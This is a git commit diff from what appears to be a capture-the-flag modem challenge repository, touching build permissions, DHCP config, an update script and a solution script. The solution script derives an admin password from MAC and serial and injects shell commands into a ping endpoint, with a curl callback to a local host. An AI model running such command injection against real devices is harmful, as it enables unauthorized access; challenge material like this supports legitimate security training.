g/cyberchallenge-modem
1
0
Fork 0
Code Issues Pull Requests Releases Wiki Activity

DNS is useless; fix tar path in update.sh

Browse Source
This commit is contained in:
Giulio 2020-09-23 11:13:38 +02:00
parent 8b7aa17303
commit 919a275fe3
4 changed files with 44 additions and 43 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
buildroot/board/tiesse/tgr/permissions.config
View File

@ -4,4 +4,4 @@
/update.sh f 755 root root - - - - - /update.sh f 755 root root - - - - -
/root/ d 700 root root - - - - - /root/ d 700 root root - - - - -
/root/.ssh/ d 700 root root - - - - - /root/.ssh/ d 700 root root - - - - -
/root/.ssh/authorized_keys 644 root root - - - - - /root/.ssh/authorized_keys f 644 root root - - - - -

2
conf/etc/dhcp/dhcpd.conf
View File

@ -1,6 +1,6 @@
default-lease-time 600; default-lease-time 600;
max-lease-time 14400; max-lease-time 14400;
option domain-name-servers 1.1.1.1; #option domain-name-servers 1.1.1.1;
option subnet-mask 255.255.255.0; option subnet-mask 255.255.255.0;
option broadcast-address 192.168.77.255; option broadcast-address 192.168.77.255;

7
solution/solution.py
View File

@ -1,5 +1,6 @@
import requests import requests
import hashlib import hashlib
import sys
def xorshift(x, y, z, w): def xorshift(x, y, z, w):
t = x t = x
@ -29,10 +30,10 @@ def rce(username, password, host, payload):
requests.post("http://{}/utils.php".format(host), auth=auth(username, password), data={"action": "ping", "host": "127.0.0.1\n".format(payload.replace(' ', '${IFS}'))}) requests.post("http://{}/utils.php".format(host), auth=auth(username, password), data={"action": "ping", "host": "127.0.0.1\n".format(payload.replace(' ', '${IFS}'))})
def main(): def main():
serial = "D7F2959E8EE66CC06CB67C0D2B835273".encode("ascii") serial = sys.argv[1].encode("ascii")
mac = "ac:35:ee:ad:29:1b".encode("ascii") mac = sys.argv[2].encode("ascii")
host = "192.168.77.1" host = "192.168.77.1"
payload = "curl 192.168.1.2:8080" payload = "curl 192.168.77.10:8080"
password = keygen(mac, serial) password = keygen(mac, serial)
print(password) print(password)
#rce("admin", password, host, payload) #rce("admin", password, host, payload)

2
update/update.sh
View File

@ -32,7 +32,7 @@ if [ "$check" == "Verified OK" ]
then then
/bin/echo "[+] Signature is valid!" /bin/echo "[+] Signature is valid!"
/bin/echo "[+] Upgrading..." /bin/echo "[+] Upgrading..."
/usr/bin/tar -xvzf /tmp/update.tgz.cc -C / /bin/tar -xvzf /tmp/update.tgz.cc -C /
/bin/rm /tmp/update.tgz.cc /tmp/sig /bin/rm /tmp/update.tgz.cc /tmp/sig
/bin/echo "[+] Done" /bin/echo "[+] Done"
exit 0 exit 0